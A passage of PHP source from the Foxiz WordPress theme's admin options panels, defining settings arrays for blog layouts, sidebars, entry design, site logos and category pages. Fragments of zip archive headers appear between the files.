'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for this section.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'grid_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns per Row', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_recommended_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_recommended_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Sidebar', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for this section.', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for this section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the category pages.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_recommended_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_recommended_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_recommended_design', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } }PK! $panels/logo.phpnu[ 'foxiz_config_section_site_logo', 'title' => esc_html__( 'Logo', 'foxiz' ), 'icon' => 'el el-barcode' ); } } if ( ! function_exists( 'foxiz_register_options_logo_global' ) ) { /** * @return array * global logo */ function foxiz_register_options_logo_global() { return array( 'id' => 'foxiz_config_section_global_logo', 'title' => esc_html__( 'Default Logos', 'foxiz' ), 'desc' => esc_html__( 'The settings below apply to whole your website.', 'foxiz' ), 'icon' => 'el el-laptop', 'subsection' => true, 'fields' => array( array( 'id' => 'info_add_favico', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To add the favicon, navigate to "Appearance > Customize > Site Identity > Site Icon". Please read the documentation for further information.', 'foxiz' ), ), array( 'id' => 'logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Main Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Select or upload site logo. Recommended logo height value is 60px, allowed extensions are .jpg, .png and .gif.', 'foxiz' ), ), array( 'id' => 'dark_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Mode - Main Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Select or upload a light logo for displaying in the dark mode. It should be same dimensions with the site logo.', 'foxiz' ), ), array( 'id' => 'retina_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Retina Main Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Select or upload retina (2x) logo. Recommended logo height value is 120px, allowed extensions are .jpg, .png and .gif', 'foxiz' ) ), array( 'id' => 'dark_retina_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Mode - Retina Main Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Select or upload a light retina logo for displaying in the dark mode. It should be same dimensions with the retina site logo', 'foxiz' ) ) ) ); } } if ( ! function_exists( 'foxiz_register_options_logo_mobile' ) ) { /** * @return array */ function foxiz_register_options_logo_mobile() { return array( 'id' => 'foxiz_config_section_mobile_logo', 'title' => esc_html__( 'Mobile Logos', 'foxiz' ), 'desc' => esc_html__( 'Select or upload logos for displaying in the mobile device.', 'foxiz' ), 'icon' => 'el el-iphone-home', 'subsection' => true, 'fields' => array( array( 'id' => 'mobile_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Mobile Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a logo for the mobile device. Recommended logo height value is 84px, allowed extensions are .jpg, .png and .gif', 'foxiz' ) ), array( 'id' => 'dark_mobile_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Mode - Mobile Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a light retina logo for displaying in mobile device. It should be same dimensions with the mobile logo.', 'foxiz' ) ), ) ); } } if ( ! function_exists( 'foxiz_register_options_logo_transparent' ) ) { function foxiz_register_options_logo_transparent() { return array( 'id' => 'foxiz_config_section_transparent_logo', 'title' => esc_html__( 'Transparent Logos', 'foxiz' ), 'desc' => esc_html__( 'Select or upload logos for displaying in the transparent headers.', 'foxiz' ), 'icon' => 'el el-photo', 'subsection' => true, 'fields' => array( array( 'id' => 'transparent_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Transparent Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a light logo for transparent headers. Recommended logo height value is 60px, allowed extensions are .jpg, .png and .gif.', 'foxiz' ) ), array( 'id' => 'transparent_retina_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Transparent Retina Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a light retina logo for transparent headers. Recommended logo height value is 120px.', 'foxiz' ) ) ) ); } } if ( ! function_exists( 'foxiz_register_options_logo_favicon' ) ) { /** * @return array */ function foxiz_register_options_logo_favicon() { return array( 'id' => 'foxiz_config_section_logo_favicon', 'title' => esc_html__( 'Bookmarklet', 'foxiz' ), 'desc' => esc_html__( 'Select or upload bookmarklet icons for iOS and Android devices.', 'foxiz' ), 'icon' => 'el el-bookmark', 'subsection' => true, 'fields' => array( array( 'id' => 'icon_touch_apple', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'iOS Bookmarklet Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Upload icon for the Apple touch (72 x 72px), allowed extensions are .jpg, .png, .gif', 'foxiz' ) ), array( 'id' => 'icon_touch_metro', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Metro UI Bookmarklet Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Upload icon for the Metro interface (144 x 144px), allowed extensions are .jpg, .png, .gif', 'foxiz' ) ), ) ); } } PK!CCpanels/blog-pages.phpnu[ 'foxiz_config_section_category', 'title' => esc_html__( 'Category', 'foxiz' ), 'icon' => 'el el-folder-open', 'desc' => esc_html__( 'These are global category settings. The settings below will apply to all category pages.', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'settings_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit for individual category, navigate to "Admin Dashboard > Posts > Categories > Edit".', 'foxiz' ), ), array( 'id' => 'section_start_category_site_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Site Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'header_style', 'type' => 'select', 'title' => esc_html__( 'Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a website header style for the category pages.', 'foxiz' ), 'options' => foxiz_config_header_style( true, true ), 'default' => '0' ), array( 'id' => $prefix . 'nav_style', 'type' => 'select', 'title' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select navigation bar style for the site header in the category pages.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on the setting in the header panel. It will not apply to the header style 4.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default', 'foxiz' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'header_template', 'type' => 'textarea', 'title' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header for the category pages.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on the "Header Style" setting, Leave it blank if you would like to use the "Header Style" setting.', 'foxiz' ), 'placeholder' => esc_html__( '[Ruby_E_Template id="1"]', 'foxiz' ), 'rows' => 2, 'default' => '' ), array( 'id' => 'section_end_category_site_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Category Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'category_header', 'title' => esc_html__( 'Category Header', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select a category header style for the category pages.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_category_header(), 'default' => '1' ), array( 'id' => $prefix . 'pattern', 'title' => esc_html__( 'Header Background Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background style for this category header.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_archive_header_bg(), 'default' => 'dot' ), array( 'id' => $prefix . 'subcategory', 'title' => esc_html__( 'Sub Categories List', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the sub category list in the category header.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), array( 'id' => 'section_end_category_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_template', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Top Template Builder', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template', 'title' => esc_html__( 'Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to embed it after the category header, ie: [Ruby_E_Template id="1"]', 'foxiz' ), 'description' => esc_html__( 'This setting will be overridden by "template shortcode" in the individual category setting panel.', 'foxiz' ), 'type' => 'textarea', 'placeholder' => '[Ruby_E_Template id="1"]', 'rows' => 2, 'default' => '', ), array( 'id' => $prefix . 'template_display', 'title' => esc_html__( 'Template Display', 'foxiz' ), 'subtitle' => esc_html__( 'Show template in the first or all pages.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Show in the first page', 'foxiz' ), '2' => esc_html__( 'Show in all pages', 'foxiz' ) ), 'default' => '1', ), array( 'id' => 'section_end_category_template', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_template_global', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Blog Template Builder', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template_global', 'title' => esc_html__( 'Global WP Query Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to display as the main blog posts, ie: [Ruby_E_Template id="1"].', 'foxiz' ), 'description' => esc_html__( 'This setting will be overridden by "Global WP Query Template Shortcode" in the individual category setting panel.', 'foxiz' ), 'type' => 'textarea', 'rows' => '2', 'placeholder' => '[Ruby_E_Template id="1"]', 'default' => '', ), array( 'id' => 'section_end_category_template_global', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'posts_per_page', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select posts per page for the categories. Leave this option blank to set the default.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on "Dashboard > Settings > Reading > Blog pages show at most" setting. It also apply to the "Global WP Query Template Shortcode".', 'foxiz' ), 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'default' => '' ), array( 'id' => 'section_end_category_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_blog_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Latest Posts - Heading', 'foxiz' ), 'subtitle' => array( esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), esc_html__( 'The theme supports heading dynamic content, Please read the documentation for further information.', 'foxiz' ) ), 'indent' => true ), array( 'id' => $prefix . 'blog_heading', 'title' => esc_html__( 'Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for the post listing. Leave blank to disable this section', 'foxiz' ), 'type' => 'text', 'default' => 'Latest {category} News', ), array( 'id' => $prefix . 'blog_heading_layout', 'title' => esc_html__( 'Heading Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a heading layout for the heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout( true ), 'default' => '0', ), array( 'id' => $prefix . 'blog_heading_tag', 'title' => esc_html__( 'Heading HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a HTML tag for this heading. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0', ), array( 'id' => $prefix . 'blog_heading_size', 'title' => esc_html__( 'Heading Font Size (Desktop)', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom font size value for the category heading (px) on the desktop.', 'foxiz' ), 'description' => esc_html__( 'Navigate to "Heading Design" panel to edit font size for table and mobile device.', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '', ), array( 'id' => 'section_end_category_blog_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_blog_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Latest Posts - Layout', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for the category pages.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'grid_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_category_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_blog_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Latest Posts - Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the latest blog section', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the category pages.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_category_blog_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => array( esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ) ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'description' => esc_html__( 'The setting will not apply if the selected blog layout does not support the selected entry category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__( 'When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' 